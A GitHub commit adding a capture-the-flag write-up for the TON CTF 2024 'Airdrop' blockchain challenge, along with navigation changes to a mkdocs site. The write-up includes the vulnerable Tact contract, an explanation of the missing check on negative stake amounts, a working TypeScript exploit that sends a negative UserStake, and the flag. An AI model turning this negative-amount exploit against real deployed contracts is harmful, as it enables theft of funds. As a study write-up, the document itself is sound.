Skip to content

Commit

Permalink
Airdrop
Browse files Browse the repository at this point in the history
  • Loading branch information
YanhuiJessica committed Sep 30, 2024
1 parent dd988e9 commit 3f24ac0
Show file tree
Hide file tree
Showing 2 changed files with 165 additions and 2 deletions.
158 changes: 158 additions & 0 deletions docs/blockchain/ton/airdrop.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
---
title: Blockchain - Airdrop
description: 2024 | TON CTF | DEFI
tags:
- ton
- tact
---

## Description

> [Challenge Files](https://github.com/TonBitSec/TonCTF-Challenges/tree/6dc2518086f88006a4dd4dd0bfef963b1f13c33b/airdrop)
??? note "Airdrop.tact"

```rs
const CLAIM_AMOUNT: Int = 1;
const INIT_SUPPLY: Int = 30000;

message UserStake{
amount: Int;
}

message UserWithdraw{
amount: Int;
}

message StakeEvent{
sender: Address;
amount: Int;
}

contract AirDrop {

total_balance: Int as uint256;
user_info: map<Address, Int>;
user_claim_info: map<Address, Bool>;

init(version: Int) {
self.user_info = emptyMap();
self.total_balance = INIT_SUPPLY;
}

receive("AirDrop") {
require(self.user_claim_info.get(sender()) == null, "Have claimed");
let user_staked: Int = 0;
if (self.user_info.get(sender()) != null) {
user_staked = self.user_info.get(sender())!!;
}
self.total_balance = self.total_balance - CLAIM_AMOUNT;
self.user_info.set(sender(), user_staked + CLAIM_AMOUNT);
self.user_claim_info.set(sender(), true);
}

receive(msg: UserStake) {
require(context().value > msg.amount, "Incorrect TON value");
let user_staked: Int = 0;
if (self.user_info.get(sender()) != null) {
user_staked = self.user_info.get(sender())!!;
}
self.total_balance = self.total_balance + msg.amount;
self.user_info.set(sender(), user_staked + msg.amount);
}

receive(msg: UserWithdraw) {
require(self.user_info.get(sender()) != null && self.user_info.get(sender())!! != 0, "Nothing to withdraw");
let user_staked: Int = 0;
user_staked = self.user_info.get(sender())!!;
require(msg.amount <= user_staked, "Insufficient balance");
self.total_balance = self.total_balance - msg.amount;
if (msg.amount == user_staked) {
self.user_info.del(sender());
} else {
self.user_info.set(sender(), user_staked - msg.amount);
}
}

get fun balance(): Int {
return self.total_balance;
}

get fun is_solved(): Bool {
return self.total_balance == 0;
}
}
```

## Solution

- There is a state variable `total_balance` with value `30000` initially. The goal of this challenge is to make `total_balance` equal to zero
- There are three operations:
- **AirDrop** Each user can execute once and `total_balance` will be subtracted by 1.
- **UserStake** Increase `total_balance` and `user_staked` with user-provided `msg.amount`.
- **UserWithdraw** Decrease `total_balance` and `user_staked` with user-provided `msg.amount`. The `msg.amount` should not be greater than `user_staked`.
- Since `UserStake` does not check `msg.amount` which is of type `Int`, we can provide a negative value to reduce `total_balance`

```rs
receive(msg: UserStake) {
require(context().value > msg.amount, "Incorrect TON value");
let user_staked: Int = 0;
if (self.user_info.get(sender()) != null) {
user_staked = self.user_info.get(sender())!!;
}
self.total_balance = self.total_balance + msg.amount;
self.user_info.set(sender(), user_staked + msg.amount);
}
```

### Exploitation

Create a `solve.ts` under the `sources/` and run `yarn solve`.

```js
import { Address, toNano, TonClient, WalletContractV4 } from "@ton/ton";
import { mnemonicToPrivateKey } from "ton-crypto";
import { AirDrop } from "./output/Airdrop_AirDrop";
import * as dotenv from "dotenv";
dotenv.config();

(async () => {
const client = new TonClient({
endpoint: "http://65.21.223.95:8081/jsonRPC",
});

let mnemonics = (process.env.mnemonics_2 || "").toString();
console.log(mnemonics);

let keyPair = await mnemonicToPrivateKey(mnemonics.split(" "));
let secretKey = keyPair.secretKey;
let workchain = 0; // we are working in basechain.
let deployer_wallet = WalletContractV4.create({ workchain, publicKey: keyPair.publicKey });
console.log(deployer_wallet.address);

let deployer_wallet_contract = client.open(deployer_wallet);

let target = Address.parse(CONTRACT);

let contract_open = await client.open(AirDrop.fromAddress(target));
await contract_open.send(
deployer_wallet_contract.sender(secretKey),
{
// deducting fees from it
value: toNano("0.1"),
},
{
"$$type": "UserStake",
"amount": -30000n,
}
);
})();
```

### Flag

> flag{9uhaXCAoWxGi}_Airdrop
## References

- [TonBitSec / ton-sample](https://github.com/TonBitSec/ton-sample/tree/054915e9f0655d39e60d0b6740692615da37e023/sources)
9 changes: 7 additions & 2 deletions mkdocs.yml
Original file line number Diff line number Diff line change
Expand Up @@ -68,11 +68,10 @@ nav:
- 图之上的信息: web/info_above_graph.md
- Most Secure Crypto Algo: web/most_secure_crypto_algo.md
- 微积分计算小练习: web/calculus_calc_exercise.md
- Reverse:
- Reverse / Pwn:
- EasyRe: reverse/easyre.md
- z3: reverse/z3.md
- NEWSCTF - re_signin: reverse/newsctf_re_signin.md
- Pwn:
- when did you born: pwn/when_did_you_born.md
- Amnesia: pwn/amnesia.md
- Crypto:
Expand Down Expand Up @@ -167,6 +166,8 @@ nav:
- .Hack Lending Market: blockchain/dot_hack_lending_market.md
- Lustrous: blockchain/lustrous.md
- claim-guard: blockchain/claim_guard.md
- TON CTF 2024:
- Airdrop: blockchain/ton/airdrop.md
- Wargames:
- OverTheWire:
- Natas: wargames/natas.md
Expand Down Expand Up @@ -278,6 +279,10 @@ markdown_extensions:
- pymdownx.emoji:
emoji_index: !!python/name:materialx.emoji.twemoji
emoji_generator: !!python/name:materialx.emoji.to_svg
- pymdownx.highlight:
linenums: true
anchor_linenums: true
line_spans: __span
- pymdownx.inlinehilite
- pymdownx.keys
- pymdownx.magiclink
Expand Down

0 comments on commit 3f24ac0

Please sign in to comment.